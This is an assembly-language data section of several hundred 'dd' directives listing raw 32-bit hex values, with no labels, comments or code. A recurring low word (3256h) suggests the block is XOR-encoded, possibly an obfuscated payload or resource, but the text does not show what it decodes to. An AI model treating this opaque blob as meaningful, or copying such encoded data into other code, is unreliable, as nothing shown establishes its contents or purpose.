dd 0E2583256h, 0BDB13256h, 0CC9F145Ch, 0A5B7DF1Dh, 26BE323Ch
dd 57B1324Fh, 0ABB6DB36h, 23973256h, 21840DB7h, 75B7DB3Dh
dd 0A8563256h, 0ED2A77Eh, 6723CD37h, 0BEB79A71h, 0ABB1325Eh
dd 1CFBD7B6h, 9EAD15F7h, 7C58CB0Ch, 0DAB13256h, 7751C02Bh
dd 8E517A24h, 2AC7B0DFh, 42D134F8h, 0D5B13242h, 15D2933Bh
dd 3D12871Bh, 1E6BD45Dh, 0C5E42D03h, 363566Ch, 0E4158B30h
dd 0B8585337h, 75B13256h, 644073E8h, 0F179AF64h, 4782D6A9h
dd 53A72633h, 0C8D17E8Dh, 5DE2C5D7h, 0D98D55E8h, 503A5328h
dd 0EC1F4832h, 0F9BEF1AFh, 0BAB13251h, 5DB0B859h, 0CE483256h
dd 6633F5AFh, 0ABB79A48h, 2CB17256h, 0EAA2DA36h, 0EC533256h
dd 399F0F69h, 1591B78h, 21BECBD9h, 3BA60924h, 540B54FCh
dd 5BBE6A59h, 0EAB13240h, 75B123BFh, 7DED9256h, 8194285h
dd 0C6FACADh, 783257B4h, 6CD0A2EBh, 7DB853D4h, 0EAA13250h
dd 75BDDB56h, 1E6C3256h, 194BF8D0h, 4E21FDD8h, 0AFD0EDCEh
dd 0CB44CB95h, 0D5B5B959h, 1FD13256h, 0CF3A53AEh, 0BC1F4832h
dd 5DBBBB59h, 0AB583256h, 0FB13256h, 86C7CA32h, 0DAB10DD5h
dd 0EAB1EED2h, 70585256h, 59B13256h, 656BB084h, 0CFFDF0D6h
dd 880A5236h, 5E9C26E3h, 0D5BDDB37h, 0CD013256h, 414095B3h
dd 457A6B27h, 0DED0C773h, 0A1B32229h, 57B108D2h, 0D432CB56h
dd 51BE3646h, 0EAB13221h, 75BBBB59h, 0B5D13256h, 950ECBE9h
dd 0CF9E7292h, 58A5F5D5h, 0ABB133DAh, 4C58CB56h, 34ECDA9h
dd 75B1325Ch, 0CCA416BDh, 0AA8A2096h, 694D6D40h, 57B02211h
dd 0A0583256h, 16B13256h, 3790F319h, 53935178h, 7F58E120h
dd 524ECDA9h, 0AEB12ADCh, 57A2DB56h, 3B0A3256h, 0DD6B40EAh
dd 673E02F7h, 0F4BD630Bh, 93C91D0Eh, 55343D14h, 0CEB13256h
dd 58668559h, 6CD0C5E9h, 0D5B22211h, 6FBE3256h, 75B1325Ah
dd 0BAB7B159h, 0D2BE3256h, 0AEB13256h, 0A84E49BFh, 0AA3F3DA9h
dd 2DB13256h, 0FA5853AFh, 49B13256h, 0F402C37Ah, 66032C73h
dd 4D292601h, 94ED1B4Ch, 0ABBEDB36h, 8BF43256h, 1E504F9Fh
dd 2AA3EEFDh, 9FFAFC36h, 5F303D5Fh, 0FEB13256h, 58E4530Fh
dd 0ABB133DBh, 393AC756h, 5DBE52AAh, 73373D96h, 0B5B13256h
dd 5DB132D0h, 5BD15356h, 57B132BEh, 41306856h, 0D31FA57Ah
dd 0E2585236h, 9BB13256h, 8A562D81h, 0B48089C3h, 0AEB13251h
dd 4F778832h, 0CAF24FF5h, 1250B330h, 0E5D153FBh, 75B134D6h
dd 0BA303D56h, 0B4B13256h, 0AEB1325Dh, 9FE35D95h, 84F4E745h
dd 0B4C8CDB9h, 971380DDh, 0FE4834F8h, 0AB583A13h, 54B13256h
dd 0AAC8271Fh, 0E68CFAFAh, 1FEA5F1Fh, 0A80DA3A4h, 63BE34DFh
dd 75B1324Ah, 0BA313D36h, 0B5B13256h, 0AEB13258h, 0F90A7EDCh
dd 9DC9E4B6h, 0CB974853h, 8BEF3D9Bh, 813B0D5h, 0DAB534F8h
dd 5DB13CBFh, 0D007F056h, 394F6CF6h, 13171C80h, 3C341917h
dd 0EAB1325Eh, 8190346Dh, 66D0853Dh, 3DD0CE37h, 0DAB768ECh
dd 58D15337h, 0ABB133D5h, 6BD7C756h, 23D04FC4h, 75B13DBFh
dd 0B5704756h, 0AC270131h, 0EF4AE423h, 0A7648652h, 5EB13694h
dd 91035236h, 1C305237h, 742B8864h, 0B158C736h, 2BB13256h
dd 33035205h, 0BB66471Eh, 0CAD03062h, 0D5B132BEh, 306856h
dd 731FAA62h, 703A5436h, 0D649CE37h, 0CC44E4h, 0D74D5250h
dd 90D0F6BEh, 7BCC90E4h, 0FF353D50h, 8DB13257h, 31480CDDh
dd 0EBBECE89h, 58493319h, 58313311h, 0ABB11CD3h, 0D5BBDB56h
dd 170B3256h, 1B9AA6B0h, 52D7F5EFh, 0A544EB55h, 0AEB11EBFh
dd 57B7DB56h, 22EE3256h, 4D3C5222h, 0EAB4BE59h, 15D13256h
dd 91D0CB37h, 5DBEDB8Fh, 0F1033256h, 0DD739796h, 0EDE487B1h
dd 368FC1E4h, 0A9487176h, 97305436h, 4E0E5184h, 3CC700C0h
dd 0A68CB7DDh, 0D0BE34FEh, 0ABB1325Ch, 0D5B137BFh, 0E3B17F56h
dd 0F83AC763h, 0BC191903h, 3E05236h, 954D5337h, 68333D8Eh
dd 0A4B13256h, 0D5B133DCh, 338ACA56h, 7581B559h, 0BF583256h
dd 97B13256h, 0DF2E48A2h, 0AEB5F4D5h, 544E0CBFh, 0C65852A9h
dd 39B13256h, 32EE3D1Fh, 97A2B298h, 6ACE9622h, 0A1C6E3A2h
dd 0E8BE02EBh, 648A53A4h, 0D58BB659h, 0FA583256h, 95B13256h
dd 14557E3Bh, 7DFA392Dh, 427D31C5h, 58D1A88Dh, 0ABB133DBh
dd 6838CA56h, 0EC191903h, 0BD3A5436h, 4450DB37h, 5458CDA9h
dd 19B13256h, 0B4D3A3F6h, 0D59CFF72h, 57BE5237h, 0EAB13252h
dd 9DFF8D30h, 0DB70F9D6h, 5DB6BD59h, 0C8D13256h, 1AE0E4D7h
dd 2AD1F137h, 9B15D4A6h, 52D75237h, 14448813h, 0BABADB37h
dd 620F3256h, 3F46DE5Eh, 8B32D6D9h, 12D1529Ch, 0A1CD6673h
dd 0EA373D07h, 2EB13256h, 0BAB1DA37h, 0DCEB3256h, 28F3BCh
dd 31E75250h, 0D95FECD7h, 0D3B5208h, 0D0B0D5D7h, 14D027FFh
dd 3BD75236h, 0DDA5B2B8h, 24D0F096h, 0ED3A539Eh, 0AD1F4F20h
dd 8879B336h, 5FEF452Eh, 0CC4953FAh, 0BAB13356h, 5DB138BFh
dd 42EDE556h, 8C0B011Dh, 98C88B0Eh, 0D9323D96h, 0E5B13256h
dd 75B134D8h, 0BA363D56h, 0AEB13256h, 25D752FDh, 0DCD0C795h
dd 5CC44D4h, 0D5BBDB50h
dd 3ADD3256h, 0A345F4B8h, 834A9C32h, 2013B0DFh, 0BC5834F8h
dd 5FB13256h, 2C0B350Ch, 5A15765Eh, 0B7E839E7h, 0BA441B93h
dd 0BAB8DBC7h, 56923256h, 9582C865h, 36539EA0h, 0ABB0B259h
dd 16493256h, 0E54852AAh, 75B13ED5h, 0BAB6DB56h, 83423256h
dd 0C11FA22Bh, 57B1DA01h, 2AEB3256h, 7B2BBFBCh, 61D75250h
dd 75A1DA85h, 48D43256h, 3C2576AEh, 0A6A9475h, 816E4862h
dd 0EC0EC03Bh, 8CC6DD47h, 0E3585237h, 6B13256h, 5CD4251Ch
dd 0F204D39Ah, 7B34F437h, 1B79A43h, 0C6885AA3h, 2A4DE649h
dd 42BEA7E3h, 7A393D50h, 53B13256h, 5DB1325Ch, 0F9D7FE6Bh
dd 6B1628CFh, 2E3CA81Eh, 0D31A5B27h, 0EAB13EBFh, 0C7F8C56h
dd 0EF396799h, 5F2AAE0Dh, 7E4ECBEDh, 52383D36h, 0CDB13256h
dd 9088E4D7h, 0EAB2BF59h, 0FED73256h, 53E353ACh, 5DB13259h
dd 0F21531BDh, 655C8D3Dh, 472646Ch, 8589B57Ch, 6AB15AAAh
dd 1F443256h, 0BAA5DB56h, 2F033256h, 28AE4276h, 0ACA99C15h
dd 0B68BF125h, 28C022D9h, 584EC37Dh, 731F4832h, 63305436h
dd 8530706Fh, 0B333E6C2h, 5861CD37h, 0ABB139DBh, 22305256h
dd 0E90336DFh, 1476B930h, 0EBD1520Eh, 3C4BB90Fh, 5B496837h
dd 5731323Eh, 0AC363D56h, 0DAB13256h, 0EAB133D5h, 75DBC756h
dd 0CC03CDA3h, 3DB79C2Bh, 0AEB1B759h, 0E9D73256h, 54D01A59h
dd 2DD0CA86h, 66BE5295h, 75B13253h, 0C16BB330h, 5DB6DB54h
dd 0C5633256h, 358991B3h, 0CBE45392h, 0D5B135BFh, 0AB2D5B56h
dd 0FBE39FF1h, 0E06BB905h, 5DA3DB37h, 0A083256h, 16BDA374h
dd 0D62E2461h, 0BE130331h, 0C1238143h, 25D1DEDDh, 0DAD0CE0Eh
dd 5DB1DAAFh, 2FEB3256h, 0F92D37BCh, 0ABB7DB50h, 5BB93256h
dd 532B989Dh, 0F4D75236h, 0DB3AC290h, 5DB137BFh, 0D8332456h
dd 58D03341h, 0ABB133DEh, 0A03ACA56h, 0EC3D3D5Eh, 15B13256h
dd 0E3E06C00h, 5312DA37h, 23BE3256h, 57B13240h, 0ABB123BFh
dd 0A9240156h, 0F9D2E7EFh, 9FC7CDD0h, 93C7BE28h, 0A8E48F16h
dd 0D5BBA0A9h, 37D134F8h, 3047B330h, 27063D38h, 68BE6037h
dd 75B13256h, 0A958530Eh, 0B0B13256h, 96064EBDh, 2C09E250h
dd 3E1BDE7Bh, 0D9BCDD3Bh, 8AECC0CBh, 1CCEC1D7h, 6D303FCEh
dd 6F100597h, 0A2C40937h, 0A822B759h, 0A4D1CDA9h, 0D5B134D4h
dd 0EA373D56h, 14B13256h, 0BABF1ABEh, 52D0C756h, 0AEB120D8h
dd 57BCDB56h, 0A8243256h, 61F4EAF8h, 3EB37862h, 0BC2BEDD8h
dd 0BAB13FBFh, 0A6F29B56h, 26993DEAh, 34E92758h, 0A3737F72h
dd 0DAE4CB56h, 0EAB13AD0h, 77383D56h, 0DAB13256h, 0A15DB937h
dd 0A14DF6D5h, 57B134D0h, 0CD485256h, 83D0E3DDh, 0EB3C3D36h
dd 80B13256h, 6076B330h, 0B4E65383h, 0AEB1325Fh, 5F50FBDCh
dd 872C9CB8h, 0D35861D6h, 0E3B13256h, 0FDBC01A2h, 0BAB1DAABh
dd 0DCEB3256h, 2C73BCh, 57A0DB50h, 1BE93256h, 0DB7F7F58h
dd 24447CD5h, 5493E690h, 4291BFAEh, 52B947DDh, 0AEB139D8h
dd 57B7DB56h, 12173256h, 0D001A799h, 0E5A14FDDh, 75B13CD3h
dd 36BE5256h, 5DB13256h, 0AEB1B259h, 0BED03256h, 0ABB1325Ah
dd 0A5AA7201h, 0EE24816h, 820CE651h, 0B2323D01h, 3DB13256h
dd 0AEB1B959h, 1D03256h, 0D0552AEh, 3DD00CE1h, 0EAB133BFh
dd 0E050B236h, 0DBD7D3D6h, 0D9BEF25Dh, 0AEB13364h, 0A70E3D36h
dd 0ABB1BC59h, 0B5D03256h, 0EAB123BFh, 0A559CF56h, 44116C5Ch
dd 0D135856Eh, 7D7B7BC2h, 5159C753h, 69B13256h, 4FDBC1E8h
dd 61D06AAFh, 63353DAEh, 0DAB13256h, 0B470B930h, 0AEB1325Ah
dd 8E512549h, 5A6BE7D0h, 46A2ECA7h, 0E5586737h, 0CBB13256h
dd 0CEEEF44Dh, 7F5B50B8h, 2C6B5E31h, 0C54E16C4h, 0AD1F495Ch
dd 0D5B121BFh, 52891B56h, 0ABA2E9C5h, 576DEECBh, 0E9EE3417h
dd 62882650h, 31E1520Bh, 5DD4D8D7h, 0D53D3D08h, 8BB13256h
dd 7ABD476Dh, 0BAB1ABD2h, 52D15256h, 0AEB132D4h, 0BE305456h
dd 0CBD0AD07h, 0B4D0CEAAh, 0EAA2B959h, 7B583256h, 0C8B13256h
dd 920E8A3h, 0C447E3D3h, 7A5159F9h, 0B53A54A5h, 2556B2AAh
dd 0EAB126BFh, 0C8663E56h, 0C181BFDEh, 8BD2B033h, 7B98D79Fh
dd 0C25D54C5h, 5EAFB809h, 2041D1D6h, 0CE24DAAAh, 70583256h
dd 0C2B13256h, 0BA6FAFD6h, 514FE1BFh, 314952A9h, 0CAE72FEFh
dd 0D8595236h, 42B13256h, 13A06C0Bh, 0F73594D4h, 5D7ADE8Ah
dd 0AE363D0Dh, 36B13256h, 1978B336h, 6A8B8A84h, 0A002C4F4h
dd 8385337h, 3BD752AAh, 3BE0B380h, 0CF57EEE9h, 0A847F0BEh
dd 0A2373DA9h, 0B5B13256h, 87DB77EFh, 1477B94Fh, 523B520Dh
dd 5DB126BEh, 6C9356h, 2228EAC4h, 0F1CE63B8h, 3650C032h
dd 0BE5FFCBBh, 75A5DA2Eh, 0F3133256h, 449057AEh, 0DAAF3DD4h
dd 0B4412009h, 326B264h, 8AE967E4h, 0E5485237h, 2AD0E2E1h
dd 0BAB139BFh, 4C50A256h, 441B0951h, 0CB113EECh, 0ABB9DB08h
dd 2ACD3256h, 1D3D87FAh, 303A6067h, 0AB5852AAh, 0D1B13256h
dd 0F78EA71Ah, 0BC27EF8Fh, 0C5452CD9h, 44B7197Ah, 284DFB37h
dd 0FDBE325Ah, 0BAB13257h, 0D3BE67AAh, 0AEB13257h, 0A25DB9AFh
dd 5375B1AFh, 5E4D5236h, 0EC58539Ch, 7CB13256h, 0F063E932h
dd 0A4E653A6h, 0AEB0BB59h, 1443256h, 0F84963AEh, 2957B236h
dd 0AF7653AFh, 75B132AEh, 0B73C3D56h, 3DB13256h, 7E900EEEh
dd 0F346B357h, 0CAAF52EDh, 0A90AB091h, 0EAB034F8h, 7B583256h
dd 0BCB13256h, 0EC0CA451h, 71C80C9Fh, 1A27E509h, 0A3C4B930h
dd 0D5B13EBFh, 0E6788D56h, 70E9754Fh, 84C23A7Ah, 433A5435h
dd 0AEB13EBFh, 1F6E3E56h, 235C7F71h, 0B458FD8Bh, 8E0BB988h
dd 89B79C2Ch, 0BAB0BB59h, 0D6493256h, 0A7583A09h, 0F0B13256h
dd 0BDF14E10h, 0E09A63B4h, 6EBEE95Dh, 75B132D7h, 48063D36h
dd 2F0E5400h, 95D06B0Ah, 48343D88h, 42B13256h, 0D5B13244h
dd 1E541026h, 3DC8B3D9h, 4864DCE7h, 1046AADEh, 0F33A44EBh
dd 838CE5Ah, 6C32CA5Ah, 0D5B6DB42h, 77A63256h, 3044CD4Dh
dd 4510DBD9h, 0D7BECDA9h, 0AEB13276h, 57323D36h, 43B13256h
dd 0D5B13244h, 1686DD7h, 3E40467Eh, 0FCD8350h, 0BA59F80Ah
dd 0CFE8E9B5h, 57B122BFh, 4D021B56h, 10DCC9A4h, 3E47816Fh
dd 4305FD04h, 0A43A54CFh, 3B44B836h, 2ED0F8DDh, 0D3BEDAADh
dd 0ABB13161h, 0A8F28836h, 6AD02F3Fh, 0F1BEDBADh, 0BAB13171h
dd 0B64AB2A3h, 0ADACB659h, 0BE483256h, 0ABB1325Ah, 0E10C99B5h
dd 0DB558CBh, 4DFEF6C9h, 0B553C9D6h, 5DB3C2D2h, 48305256h
dd 6863D057h, 484AB237h, 0D776B659h, 60BE3256h, 75B1325Bh
dd 0BAB13ABFh, 4B322456h, 86BB70A5h, 0AC30542Bh, 2FBED131h
dd 0D5B13097h, 0EAA7BD59h, 0FABE3256h, 0BAB13246h, 5DB139BFh
dd 0CA67C656h, 0E88C9F8h, 0DE53E055h, 0B541D5D6h, 8CD1ECDCh
dd 136F6BEFh, 0DBD0CCDDh, 524AB330h, 32353DD6h, 37B13254h
dd 0ABB122BEh, 152A1856h, 0D0AB4857h, 2D443AB8h, 22A06A15h
dd 4362B360h, 0F7DA8A62h, 0D7D0E5DDh, 2B4DC2B5h, 51BE42ADh
dd 0EAB13039h, 6B3A54A3h, 0BAB139BFh, 70571656h, 12FAA5BFh
dd 4EB4ED29h, 5E49D1D6h, 0DA09C9D6h, 0EAB069D2h, 0F4D75256h
dd 0AF6969Ch, 633153D8h, 0E7353D53h, 0BEB13257h, 0ABB1325Dh
dd 6E6AC9D6h, 96127B19h, 0F503DA59h, 3EBE1F68h, 5DB13366h
dd 0AEB0B659h, 0D74D3256h, 2FBE5A68h, 0D5B13376h, 0EAB137BFh
dd 0CEA25456h, 384EFA91h, 5B1F4EEDh, 2FD752AAh, 0D6C6B289h
dd 0E0F59FA1h, 5ED7536Eh
dd 38315248h, 96305455h, 3AD0EDADh, 5758CAB1h, 0D7B13256h
dd 0C4EC7512h, 3DE4B78h, 58BE52ECh, 0EAB13254h, 7F585336h
dd 0B6B13256h, 1F6866A3h, 66BE6E3Eh, 0D6D753D0h, 0A459B3ADh
dd 0D5B18DD2h, 61D7CB56h, 743D3D48h, 4FB13256h, 820E3D36h
dd 0B0D48C36h, 59580F79h, 50B13256h, 46BAF1C4h, 880B7A0Ah
dd 0A19AB8A8h, 3AD053E7h, 4E58C2B1h, 0EB13256h, 81DFCC08h
dd 0EA099478h, 0DDBFB77Dh, 0D13671C3h, 0F4D7297Ch, 0B571B3ADh
dd 5DB15DD2h, 2EBE5256h, 57B13250h, 1CDECD7h, 1C0A1EDFh
dd 8BBB0139h, 74313D36h, 46B13256h, 5C323D03h, 52B13256h
dd 2CBBA0A9h, 42D134F8h, 0D5B1325Ch, 3D9BED88h, 0CD69B9EDh
dd 57314365h, 4D534Ah, 0AEB6B659h, 0E7D13256h, 9A79B297h
dd 29F4BB37h, 0EAB13ABFh, 5FCD6256h, 0CD7924E0h, 0DE4453FAh
dd 0A1B0CE2Bh, 57B0C8D3h, 0AA3E3D56h, 20B13256h, 0F48088DDh
dd 0F2BE34FEh, 0BAB13257h, 5DB9DBA3h, 0FEF73256h, 1AD8D75Fh
dd 52E15FB9h, 0A90AB0DDh, 0E35834F8h, 24B13256h, 3344A953h
dd 89E588B4h, 47810E6Fh, 57B13258h, 7DCE4F31h, 8497659Bh
dd 0A2A9A731h, 7AE93BB0h, 0BAB094D4h, 0E73ACA56h, 0A8193B37h
dd 55303D36h, 20B13256h, 0CA048888h, 0BAD07AF2h, 0C3445236h
dd 0B75953E9h, 3BB13256h, 448D9B3Dh, 431ADEEAh, 0BE72B6DAh
dd 573A5309h, 0EC1F4EEDh, 458D0BAAh, 0BABDB259h, 5A583256h
dd 0ECB13256h, 22A79F55h, 0F349E583h, 0D4E0BD59h, 3443256h
dd 75B1325Fh, 3886AF0Dh, 0AD8C335Bh, 0AE8CDB52h, 59583256h
dd 21B13256h, 51EAEF6Ah, 1387EB6h, 3836472Eh, 42F4F51Bh
dd 5DB13254h, 0AEB137BFh, 0D10E056h, 4248ED20h, 0D5B13245h
dd 12F4F5A3h, 75B13257h, 0BAB134BFh, 1BB30E56h, 2544AF37h
dd 0F9CB56ECh, 0B43AC750h, 0D5B13BBFh, 36353556h, 0EFEF96A3h
dd 61BABE43h, 5D50B659h, 0BC583256h, 12B13256h, 8222F441h
dd 5E0EEBCDh, 0C280DFDAh, 4AC50C1Ch, 0B56F0978h, 5DB1B3D3h
dd 2544CB56h, 0D8BE3E0Bh, 0ABB1324Eh, 0D5B121BFh, 0D65E6456h
dd 0F3AC0926h, 47717507h, 10F794F2h, 0A2DBE740h, 57494FD5h
dd 0AB94B659h, 5CBE3256h, 0EAB1325Bh, 75B13ABFh, 0FC805156h
dd 0DDCFA480h, 0A6313D35h, 58B13256h, 0ABB130DAh, 0D6D05256h
dd 6348CA0Bh, 0F5BE3609h, 0BAB1325Bh, 5DB7DB36h, 0B6EA3256h
dd 0D46B3D48h, 0ABA5DB37h, 848B3256h, 1DC710C5h, 4003FA3Dh
dd 9C0D7636h, 9645F3EEh, 69321A5Eh, 0E2D15242h, 0A758531Eh
dd 26B13256h, 0EF25FA5Bh, 2F69BF76h, 0DBE884E1h, 0A24E1BBFh
dd 0A33F3DA9h, 37B13256h, 0ABB1B559h, 1C0E3256h, 8B96FEDFh
dd 9C48F265h, 0BAB13627h, 5DB0B059h, 0C84D3256h, 0D7D12CDDh
dd 0CDE7F58Fh, 0B4EAF8DDh, 8ABD4FDDh, 0BA25D9D7h, 0B6586CACh
dd 7BB13256h, 0A4276897h, 0CF91F872h, 0CADE4C49h, 3E4AB2AEh
dd 0EAEAB659h, 0F5BE3256h, 0BAB13259h, 5DB138BFh, 5F0D5756h
dd 82D456F5h, 2B3BDFD1h, 0DAD1C2B5h, 6AD0CBE9h, 0F1BE42ADh
dd 0BAB132CEh, 5DB13DBFh, 0E538DE56h, 0A251D128h, 0ADBFE996h
dd 0E06DF608h, 0EAB025BFh, 633F3D56h, 53B13256h, 5DB13247h
dd 25E18A89h, 0A3DC6AC9h, 0C92092E1h, 0F87C16B5h, 3B6F428h
dd 75A0DB36h, 164E3256h, 6C46BEE3h, 0A6C3D804h, 0B0E0941Fh
dd 0FDF1F694h, 0B4E85336h, 0EAB07591h, 9CB13256h, 0BAB13242h
dd 0E868F3C1h, 61EEB5C1h, 9EA2D8Dh, 64A31ED1h, 21C22C22h
dd 0F958F5DDh, 13B13256h, 4EC897A7h, 0BAB1B975h, 30CF5E1Dh
dd 42F565BDh, 6B329F40h, 0AF58CA53h, 16B13255h, 7AB6F530h
dd 0B6343D5Eh, 52B13256h, 0AEB134DDh, 57383D56h, 21B13256h
dd 0D5BCDB48h, 0EC363256h, 154B9CE3h, 0B9471C5h, 0DD2F8197h
dd 0A1D13DB5h, 57B131D3h, 65063D56h, 0DB393D37h, 8AB13256h
dd 9F7BEDD7h, 33BE3A43h, 5DB13256h, 2E7AB237h, 57B13DBFh
dd 0B67C2656h, 8D988CEEh, 0A66CED91h, 5F2BF722h, 53B06DDEh
dd 5DB13247h, 7F268DC3h, 0C5A5B3E6h, 0E100FE40h, 1F346D4Bh
dd 0E8F6F5F1h, 75B13256h, 0BAB0B059h, 0D6493256h, 6E32CE91h
dd 0B558CE50h, 52B13254h, 458FB330h, 8A353DC6h, 8CB13256h
dd 3BD76036h, 69AF599h, 0EFBBF8ECh, 69315311h, 0C3343DC6h
dd 2CB13256h, 15CFB330h, 0F1BEA2C6h, 0BAB1326Dh, 0BB0F5436h
dd 0FE585345h, 58B13256h, 0ABB13FDFh, 0D5B9DB56h, 5F7B3256h
dd 24512D6Ch, 0EAD1A04Fh, 7B73B330h, 0A15869C7h, 58B13256h
dd 0CB35E990h, 82EF59EBh, 0BB89FA17h, 0FED099D7h, 0D458CE91h
dd 0B4B13254h, 0AEB13245h, 955A594Eh, 1A085276h, 3C621C5Bh
dd 14F2E45Bh, 0F8982D2Fh, 14CCE3D4h, 47383D50h, 0CEB13256h
dd 0BE84EAD6h, 0ABB13246h, 7200C1CDh, 856B810Bh, 6DD8E495h
dd 9846D5BAh, 0B446237h, 0FD085436h, 0A7A28C02h, 54D064EEh
dd 7BCA2AC4h, 2ABAC750h, 7587B659h, 30BE3256h, 5DB1325Bh
dd 65305436h, 0D7BEEBE6h, 0ABB13256h, 0B579B937h, 0A96FB330h
dd 0F8D0CECAh, 14CCE3E4h, 5C3B3D50h, 52B13256h, 57B143BFh
dd 0AA333D56h, 20B13256h, 38305200h, 156F71F2h, 31D0C1DDh
dd 52E35298h, 0AEB132D3h, 0DCD76B56h, 0A4E4538Fh, 0D5B133DDh
dd 784EC756h, 731F495Ch, 3EBE6FA3h, 5DB1325Dh, 0AEB134BFh
dd 0FF0BFC56h, 8008C689h, 30315298h, 8B43B987h, 25D1EBA1h
dd 0E446B930h, 5DB3B759h, 0F6E33256h, 0DDBE6C37h, 0ABB13258h
dd 0D5B13BBFh, 2F651D56h, 0AE773D6Ch, 0C73252D2h, 0D8BE33AEh
dd 0AEB132F0h, 57B0B159h, 1B493256h, 0D83D3D1Fh, 8AB13256h
dd 286AB330h, 0DE72B39Bh, 3CA71DB4h, 0F9085436h, 57BFDB52h
dd 4F873256h, 7742C4AEh, 9553DEF3h, 1EE27DB3h, 53D19837h
dd 5DB13251h, 78C5B520h, 0D622AAB2h, 3D410589h, 6DD75332h
dd 0E058B759h, 7CB13256h, 0F53FF6D6h, 375E2B4h, 561A54ECh
dd 56F78459h, 0ABBFB559h, 0DAD13256h, 0EAB132DDh, 0B17FB356h
dd 0DBDB6B04h, 5DA5DBFDh, 0D49D3256h, 0F55F8631h, 0A53FE744h
dd 5DA74415h, 0C52D1D0Ah, 0BA58360Ah, 53B13256h, 5DB1325Ch
dd 0EC0EE875h, 95D95A08h, 0D6325AB9h, 50BE30AEh, 0EAB132E5h
dd 75BABC59h, 0B5D13256h, 0B630F3E1h, 0FFAD5182h, 5C095437h
dd 0AA3D3D9Fh, 20B13256h, 0E51A54AAh, 75B137D0h, 0EA485256h
dd 0E5D7530Eh, 0BE58B659h, 7EB13256h, 0FAE6DC75h, 38F99790h
dd 0BD8F4D83h, 1300D7F7h, 0AB5852FDh, 2B13256h, 0D2DF760Ch
dd 3AFDD7Eh, 1CF5DBFEh, 894EDE26h, 644C8A30h, 33073D37h
dd 0B0353D57h, 3DB13256h, 6930E2DDh, 57864CAh, 21BE9937h
dd 0D5B1324Fh, 0EAB126BFh, 2F378656h, 764FFE43h, 0B9B543CFh
dd 0AE1734F0h, 919CB7FEh, 0ABADDBDFh, 6AD13256h, 96DA3F09h
dd 0BD5DDAD7h, 0DAD05E13h, 5DB3BD59h, 593A3256h, 0A4D0E4DDh
dd 6C3ACAF2h, 57BE69AAh, 0EAB13251h, 0B43A5436h, 0E3D0E3DDh
dd 0DCD16CAAh, 254F048Ch, 84D6401h, 2EBE6D37h, 0D5B1325Ah
dd 0EAB7BA59h, 0F3BE3256h, 0BAB13256h, 0B4E1529Fh, 0AEB13258h
dd 845D9645h, 0C2C82291h, 1F51E0FFh, 0E5E80262h, 75B131D7h
dd 750E3D56h, 5DBEDB37h, 8B43256h, 39DD69D3h, 9CCC5D22h
dd 78341AB4h, 0EAB9F06Eh, 75B137BFh, 0FEB4B256h, 52E45615h
dd 0AEB133DFh, 0BB3ACA56h, 0ABBBB559h, 5ED13256h, 0EA3A3D8Fh
dd 14B13256h, 0BAB121BFh, 1076D456h, 8690405Bh, 5C43E48Ch
dd 0E25B6176h, 0BEAA9BE6h
dd 0E158CB36h, 0CDB13256h, 6B002727h, 0A487E6DCh, 0AE59B006h
dd 0DB13256h, 1FBD8D7h, 3CD134F8h, 0EAB1325Fh, 8FCCAA88h
dd 46E99A0Bh, 5DA2DB8Bh, 9A003256h, 2C6D10E7h, 0E17BC427h
dd 68F8D38Eh, 284E80CCh, 0FE49533Ah, 4FD13A13h, 5DB5BF59h
dd 11D73256h, 0DED0525Ch, 5CB84D4h, 0D5BDDB50h, 70283256h
dd 0C8C9D100h, 0D1EA88E5h, 0A8D0C69Ah, 0A658529Fh, 35B13256h
dd 379285BBh, 3C679F95h, 0EAB13242h, 0B9E9AA85h, 0BD7B5765h
dd 92FD4CFCh, 12E2C058h, 0BC7B4371h, 0ABB5F037h, 0D5BCDB36h
dd 41E43256h, 0E6218AC9h, 0D8F36925h, 0E37BECE0h, 0FAC1CBDEh
dd 5D586737h, 0EEB13256h, 0D6B02959h, 0D4BF51ACh, 8C5DB986h
dd 4275B1AAh, 5DA2DB36h, 0FBF73256h, 8AA3489Fh, 0F8CD1597h
dd 0A6323B50h, 4847AB9Dh, 74353D9Ch, 4FB13256h, 54585237h
dd 0AAB13256h, 0BFA515FFh, 0E47F2ED7h, 0D5B132BEh, 306856h
dd 731F9962h, 0BABABD59h, 52D13256h, 0AEB132D2h, 9D0E3D56h
dd 0EE76CB37h, 0D5B132AEh, 0AF76CB56h, 75B132AAh, 7A82CA56h
dd 433A54AFh, 0AEB13DBFh, 0EA244856h, 0B3E1FD18h, 238EBEABh
dd 0C29E3AAEh, 853A5436h, 0DB48B930h, 210AB091h, 0AEB034F8h
dd 58D13256h, 0ABB130DEh, 0B4EB6156h, 5E4FB936h, 0F4D753ADh
dd 0B521A2ADh, 5DB13DD3h, 2DBECA56h, 57B1325Eh, 0ABB3B559h
dd 0B4D13256h, 0E559C9D6h, 75B528D2h, 0B5F1CB56h, 5DB12AD6h
dd 0AEA2DB56h, 17523256h, 54E6AEE1h, 3025DA87h, 7372DA60h
dd 0B79A2AE8h, 534AB2B6h, 5E40B659h, 2DBE3256h, 57B1325Ah
dd 0ABB7B359h, 53BE3256h, 0EAB13256h, 75A0DB16h, 0E5DA3256h
dd 35725BD5h, 0F5A76901h, 0C0C11A91h, 2B8F3ECEh, 51BED9ADh
dd 0EAB131E9h, 75B138BFh, 0A8210356h, 8FF3D9BDh, 0EED24C9Dh
dd 0A756B2A3h, 960B5436h, 260E3D8Fh, 11305437h, 0F1BEB259h
dd 0BAB131C1h, 5C3331AEh, 0A1B79A43h, 57B124D6h, 0ABA0DB56h
dd 69043256h, 0BF99E077h, 0C21FDA2Dh, 644F7CFCh, 1D439254h
dd 4C4AB2AAh, 54F9B659h, 28BE3256h, 0D5B1325Eh, 0EAB3B559h
dd 14D13256h, 0B552C9D6h, 5DB3C9D2h, 0AEB9DB56h, 0EB533256h
dd 0A3A535F2h, 54D7607Dh, 0E55255ADh, 75B22BD2h, 0DC495256h
dd 3CE000E8h, 5B41D1D6h, 58C1C9D6h, 0ABB214D2h, 0D5B8DB56h
dd 0E5563256h, 0FEC558FBh, 0DC942275h, 52D12CDDh, 0AEB134D7h
dd 0C358B356h, 20E32773h, 3631538Fh, 0EAA2DBAEh, 0D33C3256h
dd 0D0DF14Bh, 0B15361AEh, 0E7E6A4C7h, 3F080BCDh, 134AB2ABh
dd 0D4E7B659h, 6A443256h, 0F1BE3768h, 0BAB1331Ah, 5DB13BBFh
dd 16F90856h, 0A31D62D5h, 2B44F7E2h, 51BE1F68h, 0EAB13362h
dd 230A52AAh, 0DAF87EFCh, 3B4FB930h, 0CF069FEDh, 3F8FB237h
